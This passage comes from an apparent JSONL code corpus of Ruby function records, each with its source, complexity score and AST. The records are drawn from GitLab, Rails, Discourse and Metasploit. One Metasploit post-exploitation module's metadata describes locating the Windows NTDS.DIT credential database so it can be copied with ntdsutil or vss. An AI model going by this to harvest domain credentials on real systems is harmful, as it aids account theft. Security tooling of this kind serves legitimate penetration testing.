end","complexity_score":41.1,"ast_json":"{\"type\":\"def\",\"children\":[\"record_payload_uuid_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"uuid\"]},{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PayloadUUIDTracking\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"active\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"payload_info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uuid\"]},\"puid_hex\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"payloads\",{\"type\":\"lvar\",\"children\":[\"payload_info\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"urls\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"urls\"]},\"nil?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"urls\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"urls\"]},\"uniq!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"update_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"urls\"]},{\"type\":\"lvar\",\"children\":[\"urls\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Without a database connected that payload UUID tracking will not work!\"]}]}]}]}]}","id":"ace329f6-5473-43bb-9eaa-7b093d9c5383"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/ntds_location.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Post Windows Gather NTDS.DIT Location',\n        'Description' => %q{\n          This module will find the location of the NTDS.DIT file (from the Registry),\n          check that it exists, and display its location on the screen, which is useful\n          if you wish to manually acquire the file using ntdsutil or vss.\n        },\n        'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'],\n        'License' => MSF_LICENSE,\n        'Platform' => ['win'],\n        'SessionTypes' => ['meterpreter'],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        },\n        'Compat' => {\n          'Meterpreter' => {\n            'Commands' => %w[\n              stdapi_fs_stat\n            ]\n          }\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Post Windows Gather NTDS.DIT Location\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will find the location of the NTDS.DIT file (from the Registry),\\n\"]},{\"type\":\"str\",\"children\":[\"          check that it exists, and display its location on the screen, which is useful\\n\"]},{\"type\":\"str\",\"children\":[\"          if you wish to manually acquire the file using ntdsutil or vss.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Compat\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Meterpreter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Commands\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"stdapi_fs_stat\"]}]}]}]}]}]}]}]}]}]}]}","id":"861f022d-30ad-465f-91b0-f77501e7976a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/enable_search_settings_helper_spec.rb","start_line":7,"raw_source":"def before_content\n      helper.content_for(:before_content)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"content_for\",{\"type\":\"sym\",\"children\":[\"before_content\"]}]}]}","id":"91b331b7-5be6-412e-ad02-d73ed1729350"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/invite_members_modal_helpers.rb","start_line":13,"raw_source":"def invite_with_opened_modal(names, role: 'Guest', expires_at: nil, use_exact_text_match: true)\n      page.within invite_modal_selector do\n        select_members(names)\n        choose_options(role, expires_at, use_exact_text_match)\n        submit_invites\n      end\n\n      wait_for_requests\n    end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"invite_with_opened_modal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]},{\"type\":\"kwoptarg\",\"children\":[\"role\",{\"type\":\"str\",\"children\":[\"Guest\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"expires_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"use_exact_text_match\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"invite_modal_selector\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"select_members\",{\"type\":\"lvar\",\"children\":[\"names\"]}]},{\"type\":\"send\",\"children\":[null,\"choose_options\",{\"type\":\"lvar\",\"children\":[\"role\"]},{\"type\":\"lvar\",\"children\":[\"expires_at\"]},{\"type\":\"lvar\",\"children\":[\"use_exact_text_match\"]}]},{\"type\":\"send\",\"children\":[null,\"submit_invites\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]}]}]}","id":"02be2229-4962-43c1-b759-bae9d23043a7"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":828,"raw_source":"def test_select_second_nil_with_blank\n    expected = +%(<select id=\"date_second\" name=\"date[second]\">\\n)\n    expected << %(<option value=\"\" label=\" \"></option>\\n<option value=\"00\">00</option>\\n<option value=\"01\">01</option>\\n<option value=\"02\">02</option>\\n<option value=\"03\">03</option>\\n<option value=\"04\">04</option>\\n<option value=\"05\">05</option>\\n<option value=\"06\">06</option>\\n<option value=\"07\">07</option>\\n<option value=\"08\">08</option>\\n<option value=\"09\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n<option value=\"32\">32</option>\\n<option value=\"33\">33</option>\\n<option value=\"34\">34</option>\\n<option value=\"35\">35</option>\\n<option value=\"36\">36</option>\\n<option value=\"37\">37</option>\\n<option value=\"38\">38</option>\\n<option value=\"39\">39</option>\\n<option value=\"40\">40</option>\\n<option value=\"41\">41</option>\\n<option value=\"42\">42</option>\\n<option value=\"43\">43</option>\\n<option value=\"44\">44</option>\\n<option value=\"45\">45</option>\\n<option value=\"46\">46</option>\\n<option value=\"47\">47</option>\\n<option value=\"48\">48</option>\\n<option value=\"49\">49</option>\\n<option value=\"50\">50</option>\\n<option value=\"51\">51</option>\\n<option value=\"52\">52</option>\\n<option value=\"53\">53</option>\\n<option value=\"54\">54</option>\\n<option value=\"55\">55</option>\\n<option value=\"56\">56</option>\\n<option value=\"57\">57</option>\\n<option value=\"58\">58</option>\\n<option value=\"59\">59</option>\\n)\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, select_second(nil, include_blank: true)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_second_nil_with_blank\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_second\\\" name=\\\"date[second]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"\\\" label=\\\" \\\"></option>\\n<option value=\\\"00\\\">00</option>\\n<option value=\\\"01\\\">01</option>\\n<option value=\\\"02\\\">02</option>\\n<option value=\\\"03\\\">03</option>\\n<option value=\\\"04\\\">04</option>\\n<option value=\\\"05\\\">05</option>\\n<option value=\\\"06\\\">06</option>\\n<option value=\\\"07\\\">07</option>\\n<option value=\\\"08\\\">08</option>\\n<option value=\\\"09\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n<option value=\\\"32\\\">32</option>\\n<option value=\\\"33\\\">33</option>\\n<option value=\\\"34\\\">34</option>\\n<option value=\\\"35\\\">35</option>\\n<option value=\\\"36\\\">36</option>\\n<option value=\\\"37\\\">37</option>\\n<option value=\\\"38\\\">38</option>\\n<option value=\\\"39\\\">39</option>\\n<option value=\\\"40\\\">40</option>\\n<option value=\\\"41\\\">41</option>\\n<option value=\\\"42\\\">42</option>\\n<option value=\\\"43\\\">43</option>\\n<option value=\\\"44\\\">44</option>\\n<option value=\\\"45\\\">45</option>\\n<option value=\\\"46\\\">46</option>\\n<option value=\\\"47\\\">47</option>\\n<option value=\\\"48\\\">48</option>\\n<option value=\\\"49\\\">49</option>\\n<option value=\\\"50\\\">50</option>\\n<option value=\\\"51\\\">51</option>\\n<option value=\\\"52\\\">52</option>\\n<option value=\\\"53\\\">53</option>\\n<option value=\\\"54\\\">54</option>\\n<option value=\\\"55\\\">55</option>\\n<option value=\\\"56\\\">56</option>\\n<option value=\\\"57\\\">57</option>\\n<option value=\\\"58\\\">58</option>\\n<option value=\\\"59\\\">59</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_second\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_blank\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"5129da22-155c-4687-9630-6f600ada06a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/partitioning/partition_manager.rb","start_line":146,"raw_source":"def assert_partition_detachable!(partition)\n          parent_table_identifier = \"#{connection.current_schema}.#{partition.table}\"\n\n          if (example_fk = PostgresForeignKey.by_referenced_table_identifier(parent_table_identifier).first)\n            raise UnsafeToDetachPartitionError, \"Cannot detach #{partition.partition_name}, it would block while \" \\\n              \"checking foreign key #{example_fk.name} on #{example_fk.constrained_table_identifier}\"\n          end\n        end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_partition_detachable!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parent_table_identifier\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"current_schema\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"table\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"example_fk\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresForeignKey\"]},\"by_referenced_table_identifier\",{\"type\":\"lvar\",\"children\":[\"parent_table_identifier\"]}]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnsafeToDetachPartitionError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot detach \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"partition_name\"]}]},{\"type\":\"str\",\"children\":[\", it would block while \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"checking foreign key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_fk\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"example_fk\"]},\"constrained_table_identifier\"]}]}]}]}]},null]}]}]}","id":"e9775eda-8a28-4d12-b8cd-aa45748fe66a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/jobs/regular/make_embedded_topic_visible.rb","start_line":5,"raw_source":"def execute(args)\n      raise Discourse::InvalidParameters.new(:topic_id) if args[:topic_id].blank?\n\n      if topic = Topic.find_by(id: args[:topic_id])\n        topic.update_status(\n          \"visible\",\n          true,\n          topic.user,\n          { visibility_reason_id: Topic.visibility_reasons[:embedded_topic] },\n        )\n      end\n    end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update_status\",{\"type\":\"str\",\"children\":[\"visible\"]},{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"visibility_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"embedded_topic\"]}]}]}]}]},null]}]}]}","id":"851da744-36cc-46d5-8ea9-4cd70b2a4d8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/group/group_members_spec.rb","start_line":214,"raw_source":"def members_query(group_path, args = {})\n    members_node = <<~NODE\n    edges {\n      node {\n        user {\n          id\n        }\n      }\n    }\n    pageInfo {\n      endCursor\n    }\n    NODE\n\n    graphql_query_for(\"group\",\n      { full_path: group_path },\n      [query_graphql_field(\"groupMembers\", args, members_node)]\n    )\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"members_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_path\"]},{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"members_node\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"edges {\\n\"]},{\"type\":\"str\",\"children\":[\"  node {\\n\"]},{\"type\":\"str\",\"children\":[\"    user {\\n\"]},{\"type\":\"str\",\"children\":[\"      id\\n\"]},{\"type\":\"str\",\"children\":[\"    }\\n\"]},{\"type\":\"str\",\"children\":[\"  }\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]},{\"type\":\"str\",\"children\":[\"pageInfo {\\n\"]},{\"type\":\"str\",\"children\":[\"  endCursor\\n\"]},{\"type\":\"str\",\"children\":[\"}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"str\",\"children\":[\"group\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full_path\"]},{\"type\":\"lvar\",\"children\":[\"group_path\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"str\",\"children\":[\"groupMembers\"]},{\"type\":\"lvar\",\"children\":[\"args\"]},{\"type\":\"lvar\",\"children\":[\"members_node\"]}]}]}]}]}]}","id":"69404128-6c54-4613-a99f-ba307d2ec18a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/acunetix_document.rb","start_line":147,"raw_source":"def collect_page_response\n      return unless in_tag(\"TechnicalDetails\")\n      return unless in_tag(\"ReportItem\")\n      return unless @text\n      return if @text.to_s.empty?\n      @state[:page_response] = @text\n    end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_page_response\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"TechnicalDetails\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_tag\",{\"type\":\"str\",\"children\":[\"ReportItem\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text\"]},\"to_s\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"page_response\"]},{\"type\":\"ivar\",\"children\":[\"@text\"]}]}]}]}","id":"aafa2eac-d531-4b0e-8679-ddaf2b3684ae"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/tools/search.rb","start_line":104,"raw_source":"def invoke\n          search_terms = []\n          search_terms << options[:base_query] if options[:base_query].present?\n          search_terms << search_query if search_query.present?\n          search_args.each { |key, value| search_terms << \"#{key}:#{value}\" if value.present? }\n\n          @last_query = search_terms.join(\" \").to_s\n\n          yield(I18n.t(\"discourse_ai.ai_bot.searching\", query: @last_query))\n\n          max_results = calculate_max_results(llm)\n          if parameters[:max_results].to_i > 0\n            max_results = [parameters[:max_results].to_i, max_results].min\n          end\n\n          search_query_with_base = [options[:base_query], search_query].compact.join(\" \").strip\n\n          results =\n            DiscourseAi::Utils::Search.perform_search(\n              search_query: search_query_with_base,\n              category: parameters[:category],\n              user: parameters[:user],\n              order: parameters[:order],\n              max_posts: parameters[:max_posts],\n              tags: parameters[:tags],\n              before: parameters[:before],\n              after: parameters[:after],\n              status: parameters[:status],\n              max_results: max_results,\n              current_user: options[:search_private] ? context.user : nil,\n              hyde: SiteSetting.ai_embeddings_semantic_search_use_hyde,\n            )\n\n          @last_num_results = results[:rows]&.length || 0\n          results\n        end","complexity_score":87.7,"ast_json":"{\"type\":\"def\",\"children\":[\"invoke\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"search_terms\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base_query\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_terms\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base_query\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_query\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_terms\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"search_query\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"search_args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_terms\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@last_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_terms\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"to_s\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"discourse_ai.ai_bot.searching\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"ivar\",\"children\":[\"@last_query\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_results\",{\"type\":\"send\",\"children\":[null,\"calculate_max_results\",{\"type\":\"send\",\"children\":[null,\"llm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_results\"]}]},\"to_i\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"max_results\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_results\"]}]},\"to_i\"]},{\"type\":\"lvar\",\"children\":[\"max_results\"]}]},\"min\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"search_query_with_base\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"base_query\"]}]},{\"type\":\"send\",\"children\":[null,\"search_query\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"Search\"]},\"perform_search\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"search_query\"]},{\"type\":\"lvar\",\"children\":[\"search_query_with_base\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parameters\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[{\"type\":\"